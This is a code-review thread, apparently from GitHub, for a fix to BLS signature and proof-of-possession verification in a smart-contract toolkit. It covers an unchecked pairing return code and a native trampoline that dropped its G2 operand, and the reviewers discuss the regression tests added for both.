Check the BLS pairing result before reading it

[heifner]

Two defects in the BLS support, which compound: the second hid the first.

The pairing result was read without checking it

bls_pop_verify and bls_signature_verify called bls_pairing and compared its output buffer against GT_ONE, without checking the return code:

bls_gt r;
bls_pairing(g1_points, g2_points, 2, r);
return 0 == std::memcmp(r.data(), GT_ONE.data(), GT_ONE.size());

The host deserializes both operands with validity checking, and when a point is not on the curve it returns return_code::failure without writing res. On that path both functions compared whatever the buffer already held. A key the host explicitly refused to deserialize was accepted or rejected by accident rather than by decision, and the buffer was read uninitialized.

Both now check the return code and fail closed, and value-initialize the buffers they pass in. bls_signature_verify also left its two point arrays uninitialized, unlike bls_pop_verify immediately above it; they are initialized the same way now. The success path is unchanged — when the pairing succeeds it returns 0 and writes res in full, so the comparison is exactly what it was.

The native pairing trampoline dropped its G2 operand

libraries/native/intrinsics.cpp forwarded g1_points, g1_points_len for both operands, accepting g2_points and g2_points_len and silently discarding them. Both helpers pair two points, so the host received 192 bytes of G2 where 384 are required and rejected the call — meaning native verification of a perfectly valid key failed.

That failure was invisible precisely because of the first defect: it surfaced as an ordinary verification failure rather than a rejected call. Checking the return code is what exposed it.

Coverage

bls_verify_pairing_contract_test in tests/unit/crypto_ext_tests.cpp, which ctest runs in PR CI. It registers a stub pairing intrinsic via intrinsics::set_intrinsic<> — the pattern crypto_tests.cpp already uses — so it needs no bls12-381 implementation, and pins both contracts:

• the operand spans the trampoline forwards: 2×96 bytes of G1 against 2×192 bytes of G2
• the return-code contract: the failure stub deliberately writes a result that would compare equal, so the assertions pass only if the return code is genuinely read

Each half of the change is independently caught by it. With the fixed header and the unfixed trampoline it fails on the two g2_len assertions; with the unfixed header and the fixed trampoline it fails on the two verify == false assertions; with both fixed it passes.

Provenance

Both defects are inherited from upstream — AntelopeIO/cdt main carries the identical trampoline line and the identical unchecked bls_gt r;. Reported there as AntelopeIO/cdt#389.

Why it matters here

bls_pop_verify gates finalizer key registration in sysio.system. An off-curve key reaching the finalizers table makes set_finalizers throw while deserializing it — and the producer schedule rebuild calls set_finalizers from inside onblock, where a throw rolls back the rebuild and repeats on every subsequent block. Wire-Network/wire-sysio#632 closes that door on the contract side with an explicit validity check at registration; this makes the CDT primitive answer the question deliberately rather than by luck.

[huangminghuang]

I found two issues to address before approval:

1. [P2] Valid native verification now deterministically fails. The new checks at libraries/sysiolib/core/sysio/crypto_bls_ext.hpp:483 and :503 expose a bad native trampoline: libraries/native/intrinsics.cpp:764 forwards g1_points, g1_points_len as both pairing operands instead of forwarding g2_points, g2_points_len for the second operand. For these helpers (n == 2), the standard host receives a 192-byte G2 span where 384 bytes are required, returns failure, and both valid verification APIs return false. Please fix the trampoline as part of this change.

2. [P2] The new failure branches have no regression coverage. Existing BLS integration tests exercise only valid PoP/signature inputs, and PR CI does not run that integration suite. Please add malformed/off-curve cases for both bls_pop_verify and bls_signature_verify, plus a native valid-input regression that catches the trampoline issue. This is especially important for a fix whose purpose is deterministic failure handling.

[heifner]

Both confirmed and addressed in 102f208.

1. Trampoline. Verified — g2_points/g2_points_len were accepted and discarded, g1_points passed twice. Fixed.

One refinement to the framing: valid native verification failed before this PR too. The host sees 192 bytes where n == 2 requires 384, returns failure without writing res, and the old code then compared an uninitialized bls_gt against GT_ONE, which essentially never matches. So the return-code check converts an accidental false into a deliberate one rather than introducing a failure. It belongs in this PR either way — leaving it would mean shipping a fix whose main effect is to make a broken path fail correctly while the actual defect stays invisible.

2. Coverage. Added bls_verify_pairing_contract_test to tests/unit/crypto_ext_tests.cpp, which ctest runs in PR CI, so it carries no dependency on the integration suite. It registers a stub pairing intrinsic using the intrinsics::set_intrinsic<> pattern from crypto_tests.cpp and therefore needs no bls12-381 implementation. It pins both contracts:

• the operand spans the trampoline forwards: 2×96 bytes of G1 against 2×192 bytes of G2
• the return-code contract: the failure stub deliberately writes a result that would compare equal, so those assertions pass only if the return code is genuinely read

Each half of the change is independently caught by it:

header	trampoline	result
fixed	unfixed	fails on 2× g2_len
unfixed	fixed	fails on 2× verify == false
fixed	fixed	passes

Both defects are inherited from upstream — AntelopeIO/cdt main carries the identical trampoline line and the identical unchecked bls_gt r;. Reported there as AntelopeIO/cdt#389.

[huangminghuang]

One remaining test gap before approval:

[P2] Assert the G2 operand itself, not only its length. The pairing stub at tests/unit/crypto_ext_tests.cpp:118 discards both operand pointers and records only their lengths. A trampoline that forwarded (g1_points, g1_points_len, g1_points, g2_points_len, ...) would pass every new assertion while presenting the host with a 384-byte span starting at a 192-byte G1 object. Please give proof distinctive bytes and assert that the second operand contains them for both helpers, or otherwise assert the G1 and G2 pointers are distinct. That makes the regression test pin both parts of the original forwarding defect.

[heifner]

Good catch — the length assertions alone did not pin it. Addressed in 8e22f1c.

pubkey and proof now carry distinct fills, and the stub asserts content rather than only size: the second G1 point must carry the key, and the first G2 point must carry the proof.

Verified against the exact mutant you described, a trampoline forwarding (g1_points, g1_points_len, g1_points, g2_points_len, ...):

trampoline	caught by
unfixed (G1 ptr + G1 len)	g2_len and g2_carries_proof, 2× each
mutant (G1 ptr + G2 len)	g2_carries_proof alone, 2× — every length assertion passes
fixed	nothing, exit 0

So the content assertion is load-bearing for exactly the case the lengths miss.

[huangminghuang]

Re-reviewed the full current diff at 8e22f1c5. The native trampoline fix, fail-closed return handling, and regression coverage now address the prior findings. The content assertions pin the forwarded G1/G2 operands as well as their lengths for both verification helpers.